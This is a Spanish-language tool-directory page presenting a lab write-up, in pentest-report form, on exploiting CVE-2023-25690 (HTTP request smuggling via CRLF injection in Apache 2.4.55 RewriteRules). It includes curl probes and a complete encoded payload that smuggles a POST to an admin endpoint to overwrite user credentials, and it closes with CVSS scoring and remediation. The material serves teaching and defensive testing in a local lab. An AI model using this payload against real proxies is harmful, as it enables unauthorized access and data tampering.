Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-25690_lab — Laboratorio de contrabando de peticiones HTTP: Apache 2.4.55 inyección CRLF | Kitploit
Herramientas/GitHubGitHub/giordy0424/cve-2023-25690_lab
Análisis de VulnerabilidadesExplotación de Aplicaciones WebCTFPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubgiordy0424/cve-2023-25690_lab

CVE-2023-25690_lab

Laboratorio de contrabando de peticiones HTTP: Apache 2.4.55 inyección CRLF

Ver Repositorio
3hace 23 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

HTTP Request Smuggling via Apache proxy

Configuración del entorno

Infraestructura

ComponenteRolVersión
Apache HTTP ServerReverse Proxy2.4.55 (vulnerable)
Spring Boot (Tomcat embebido)Backend API4.x (Java 21)
SQLiteBase de datos—
root@kitploit:~
Usuario ──► Apache :80 (Proxy) ──► Spring Boot :8080 (Backend) ──► SQLite
            │
            ├─ mod_rewrite + mod_proxy
            ├─ CVE-2023-25690: CRLF no sanitizados
            ├─ RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
            ├─ RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
            └─ ACL: <Location "/admin"> bloqueado

Endpoints Públicos del Backend

root@kitploit:~
POST /public/register: permite el registro de usuarios en la base de datos
POST /public/login: permite el inicio de sesión mediante la verificación de las credenciales introducidas y emite un token de sesión
GET /public/dashboard: área reservada de los usuarios
GET /api/status: acepta el parámetro "name", es un endpoint de ejemplo para la verificación del estado de los servicios
GET /public/logout

Endpoints Privados del Backend

root@kitploit:~
POST /admin/edit/{id}/{newName}/{newPass}: es una ruta teóricamente inaccesible al público que permite a los administradores modificar los datos de los usuarios

Metodología de Referencia para el Penetration Test

  1. Planning — Definición del alcance
  2. Discovery — Information Gathering, Footprinting, Scanning & Enumeration, Vulnerability Analysis
  3. Attack — Exploit, Privilege Escalation
  4. Reporting — Executive Summary, Informe Técnico

Executive Summary

Durante la actividad de penetration testing se identificó una vulnerabilidad crítica en la infraestructura de reverse proxy que expone el backend Spring Boot. El proxy Apache HTTP Server versión 2.4.55 está afectado por la vulnerabilidad CVE-2023-25690 (HTTP Request Smuggling), que permite a un atacante eludir los filtros de seguridad impuestos en el proxy y alcanzar directamente endpoints administrativos internos no protegidos.

El ataque aprovecha la ausencia de sanitización de los caracteres de control (CRLF) en las RewriteRule de Apache, permitiendo la inyección de una segunda petición HTTP entre los parámetros de una petición legítima hacia el backend. La prueba de concepto demostró la modificación no autorizada de las credenciales de usuario en la base de datos a través del endpoint /admin/edit/{id}/{newName}/{newPass}, teóricamente protegido por las ACL del proxy.

Recomendaciones: Actualizar inmediatamente Apache HTTP Server a la versión ≥ 2.4.56, reforzar los filtros de seguridad en el proxy e implementar una capa de seguridad en el backend (Spring Security) para todos los endpoints sensibles.


1 Planning

1.1 Modalidad

  • Vector de ataque: Internet
  • Entorno a atacar: Producción

1.2 Gray Box - Información conocida:

  • Hostname del Front-end
  • Hostname del Back-end (o dirección IP en la red local corporativa) y puerto
  • Endpoint privado

1.3 Objetivos de la Prueba

  • Eludir las ACL de Apache para alcanzar el endpoint privado
  • Demostrar la modificación no autorizada de los datos de usuario en la base de datos
  • Evaluar el impacto real del CVE-2023-25690 en un escenario real

2 Vulnerability Assessment — Discovery Phase

2.1 Information Gathering & Footprinting

2.1.1 Banner Grabbing

Identificación de la versión de Apache mediante el análisis de los headers HTTP de la respuesta.

root@kitploit:~
$ curl -I http://localhost/service/

HTTP/1.1 200
Date: Sun, 21 Jun 2026 08:54:00 GMT
Server: Apache/2.4.55 (Unix)
Content-Type: text/plain;charset=UTF-8
Content-Length: 42

Resultado: El header del servidor revela Apache/2.4.55. Consulta de la base de datos de CVEs → correspondencia con CVE-2023-25690.

Según la CVE, en esta versión de Apache, si existe una RewriteRule que copia en la URL de destino del backend caracteres genéricos provenientes de la petición al proxy, el texto transcrito no se sanitiza, por lo que también pasan caracteres de control (como los retornos de carro).

Por ejemplo: RewriteRule "^/here/(.*)" "http://backend.com:8080/elsewhere?$1" [P] // la P indica modo proxy

Por lo tanto, ahora nuestro objetivo es descubrir un posible endpoint que realice esta transcripción a nivel de proxy.

2.1.2 Identificación de Tecnologías del Backend

Del análisis de las respuestas y del comportamiento de la aplicación se observa que la sesión se gestiona mediante JSESSIONID, lo que confirma el uso de un Servlet Container Java (como Apache Tomcat, Jetty o WildFly). Además, la petición a endpoints inexistentes devuelve una "Whitelabel Error Page", lo que indica que en el backend hay Spring Boot.

2.2 Scanning & Enumeration

2.2.1 Endpoint Discovery (Fuzzing)

Mediante un script bash para la automatización del fuzzing con diccionario se mapearon los endpoints expuestos en la red (presumiblemente todos).

Resultado:

EndpointCódigo HTTPMétodoParámetros
admin403GET(sin parámetros)
public/register200POSTuser=test&pass=test
public/login200POSTuser=test&pass=test
public/dashboard200GET(sin parámetros)
public/logout200GET(sin parámetros)
api/status200GET(sin parámetros)
service/*200GET(sin parámetros)

2.2.2 Mapeo de la Configuración del Proxy (Deducción)

Dado que

  • /service/x
  • /api/status?name=x

devuelven ambas la misma respuesta, se entiende que apuntan al mismo endpoint del backend. Además, dado que peticiones como /service/x/y/z (que muy probablemente no existen) no devuelven 404, se puede deducir que el endpoint original acepta un parámetro y no una path variable. Por lo tanto, en conclusión, se puede deducir que las peticiones a /service/<servicio> se traducen mediante una RewriteRule hacia el backend Spring Boot (justo lo que buscábamos). Ahora hay que determinar si esta RewriteRule es dummy, es decir, si usa una regex tipo .* o si está bien estructurada.

Intento insertar caracteres de control en la petición para dividir el contenido legítimo del oculto:

root@kitploit:~
curl -v --path-as-is 'localhost/service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aprova:%20ok%0d%0atrash_header:%20'

>> ... HTTP/1.1 200 ... El servicio 'x' está operativo y estable.

He insertado un parámetro personalizado para verificar que los CRLF se interpretan correctamente.

trash_header tiene la función de encapsular los headers que Apache insertará en la petición al backend (de este modo se interpretarán como simple texto de X-Header y no tendrán valor a efectos de la petición HTTP).


Fuera del alcance del atacante

Con tcpdump en el contenedor del backend pude interceptar la petición HTTP proveniente de Apache:

root@kitploit:~
docker exec -it apache_vuln-spring-backend-1 sh
apk add tcpdump
tcpdump -i any -A port 8080

El backend ve esta petición:

root@kitploit:~
GET /api/status?name=x HTTP/1.1
Host: spring-backend

prova: ok
trash_header:  HTTP/1.1
Host: spring-backend:8080
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: 172.19.0.1
X-Forwarded-Host: localhost
X-Forwarded-Server: localhost
Connection: Keep-Alive

"Los caracteres de control han controlado"

La respuesta me indica que la parte con los caracteres de control ha pasado sin problemas como estructura de la propia petición HTTP y no simplemente como parámetro (ya que el nombre interceptado por el backend es solo 'x'). Por lo tanto, hemos impuesto el formato de la petición HTTP hacia el backend y el proxy lo ha aceptado; esto abre el camino al payload real para el smuggling.

2.3 Attack Surface Mapping

EndpointMétodoAccesoNotas
/public/registerPOSTPúblicoRegistro de usuario
/public/loginPOSTPúblicoLogin, emite JSESSIONID
/public/dashboardGETAutenticadoÁrea reservada
/public/logoutGETPúblicoDestruye la sesión
/api/status?name=GETPúblicoHealth check
/service/{param}GETPúblicoGateway vulnerable ($1 en query string)
/admin/edit/{id}/{n}/{p}POSTProtegido (ACL)Modificación de credenciales de usuario
/admin/*Bloqueado (403)ACL de Apache

3 Ataque

3.1 Objetivo del Ataque

Forzar al reverse proxy Apache a reenviar dos peticiones distintas al backend Spring Boot, consiguiendo que la segunda petición alcance el endpoint /admin/edit/ eludiendo el filtro ACL de Apache.

En esta fase, imagínese que localhost y spring-backend son respectivamente las direcciones públicas del proxy y del servidor. En el caso de que proxy y backend estén en la misma red (u organización), spring-backend será una IP privada (que desgraciadamente resultaría difícil de conocer).

3.2 Mecanismo de Smuggling

La vulnerabilidad reside en la RewriteRule:

root@kitploit:~
RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]

El proxy captura la entrada del usuario en $1 y la inserta en la query string sin sanitizar los caracteres de control (%20, %0d%0a). El backend (Tomcat) interpreta estos caracteres como terminación de la URL e inicio de una nueva petición HTTP en el mismo socket TCP.

3.3 Composición del Payload

root@kitploit:~
A) GET /service/x                  → Parte legítima; todo lo que viene después de /service/
                                      termina en $1 (parámetro name)

B) %20HTTP/1.1                     → [Splitting Point] Espacio que cierra
                                      prematuramente la URL en el backend

C) %0d%0aHost:...%0d%0a%0d%0a     → [Header Injection] CRLF para terminar
                                      la primera petición

D) POST /admin/edit/1/HACKED/PWNED → [Smuggled Request] Petición
                                      maliciosa oculta hacia el endpoint admin

E) %20HTTP/1.1                     → Versión HTTP para la segunda petición

F) %0d%0aContent-Length:%200       → Cuerpo vacío para la POST
   %0d%0aConnection:%20close
   %0d%0aX-Header:%20              → [Header Sink] Absorbe headers añadidos
                                      automáticamente por Apache

3.4 Petición HTTP Completa

root@kitploit:~
GET /service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aPOST%20/admin/edit/1/HACKED/PWNED%20HTTP/1.1%0d%0aContent-Length:%200%0d%0aConnection:%20close%0d%0aX-Header:%20 HTTP/1.1
Host: localhost

3.5 Decodificación del Flujo

Lo que Apache ve (una sola petición):

root@kitploit:~
GET /service/x%20HTTP/1.1%0d%0a... HTTP/1.1
Host: localhost

Lo que el backend recibe (dos peticiones en el mismo socket):

root@kitploit:~
--- Petición 1 (legítima, pero "mutilada") ---
GET /api/status?name=x HTTP/1.1
Host: spring-backend

--- Petición 2 (smuggled) ---
POST /admin/edit/1/HACKED/PWNED HTTP/1.1
Content-Length: 0
Connection: close
X-Header:

3.6 Resultado

root@kitploit:~
>> ... HTTP/1.1 200 ... El servicio 'x' está operativo y estable.

El usuario con ID 1 ha sido renombrado a HACKED con contraseña PWNED — elusión total de las ACL del proxy.


Fuera del alcance del atacante

Acceso directo a la base de datos para confirmación:

root@kitploit:~
$ docker exec apache_vuln-spring-backend-1 sqlite3 /app/users.db "SELECT * FROM user;"

1|HACKED|PWNED

4 Vulnerability Evaluation

4.1 Identificación

IDDescripción
CVE-2023-25690Apache HTTP Server HTTP Request Smuggling mediante mod_proxy con RewriteRule/ProxyPassMatch
CWE-444Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
CWE-113Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')

4.2 CVSS 3.1 Scoring

https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator

Base Metrics

MétricaValorDescripción
Attack Vector (AV)N (Network)Accesible desde red remota
Attack Complexity (AC)L (Low)Sin condiciones especiales
Privileges Required (PR)N (None)Sin autenticación requerida
User Interaction (UI)N (None)No requiere interacción de la víctima
Scope (S)C (Changed)El componente vulnerable es distinto del afectado
Confidentiality (C)H (High)Acceso a endpoints reservados
Integrity (I)H (High)Modificación de datos de usuario en la base de datos
Availability (A)H (High)Posible cache poisoning del proxy / Contaminación de sockets

Base Score: 10.0 (CRITICAL) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Temporal Metrics

MétricaValorDescripción
Exploit Code Maturity (E)F (Functional exploit exists)Exploit funcional
Remediation Level (RL)O (Official Fix)En versiones posteriores de Apache, el bug ha sido corregido
Report Confidence (RC)C (Confirmed)Vulnerabilidad confirmada y documentada

Temporal Score: 9.3 (HIGH)

Environmental Metrics

MétricaValorDescripción
Attack Vector (MAV)N (Network)Proxy expuesto en internet
Attack Complexity (MAC)H (High)Requiere conocimiento de la estructura de endpoints internos
Privileges Required (MPR)L (Low)No se necesitan privilegios de ningún tipo
User Interaction (MUI)N (None)No se requiere interacción de usuarios externos
Scope (MS)C (Changed)Se viola un sistema a través de otro
Impact Metrics (MC/MI/MA)H/H/HDaño máximo (modificación de datos en la base de datos)
CIA Requirements (CR/IR/AR)H/H/HSistema crítico (login de usuarios)

Environmental Score: 8.0 (HIGH)

Vector String: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:H/MPR:L/MUI:N/MS:C/MC:H/MI:H/MA:H

Overall Score: 8.0 — HIGH


5. Remediation

5.1 Actualización de Software (Recomendado)

Actualizar Apache HTTP Server a la versión ≥ 2.4.56, donde la sanitización de los caracteres de control en las RewriteRule con flag [P] está forzada a nivel del núcleo del servidor.

Versión actualVersión objetivoFix
2.4.552.4.56+Sanitización automática de CRLF en mod_proxy

5.2 Hardening del Backend (Spring Boot)

Implementar Spring Security

Añadir spring-boot-starter-security al pom.xml:

root@kitploit:~
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-security</artifactId>
</dependency>

Configurar un SecurityFilterChain que proteja los endpoints administrativos:

root@kitploit:~
@Configuration
@EnableWebSecurity
public class SecurityConfig {

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            .authorizeHttpRequests(auth -> auth
                .requestMatchers("/public/**").permitAll()
                .requestMatchers("/api/**").permitAll()
                .requestMatchers("/admin/**").hasRole("ADMIN")
                .anyRequest().authenticated()
            )
            .httpBasic(Customizer.withDefaults())
            .sessionManagement(session -> session
                .sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED));
        return http.build();
    }
}

Validación de Entrada

Añadir controles sobre todos los parámetros aceptados por los endpoints (query string, path variables, form data):

root@kitploit:~
@PostMapping("/admin/edit/{id}/{newName}/{newPass}")
public String adminEdit(
        @PathVariable Long id,
        @PathVariable @NotBlank String newName,
        @PathVariable @NotBlank String newPass,
        HttpSession session) {

    // Verifica que el usuario tenga rol ADMIN
    User loggedUser = (User) session.getAttribute("LOGGED_USER");
    if (loggedUser == null || !loggedUser.hasAdminRole()) {
        return "Acceso denegado";
    }
    // ... operación permitida solo tras la comprobación de autenticación
}
Descargar herramienta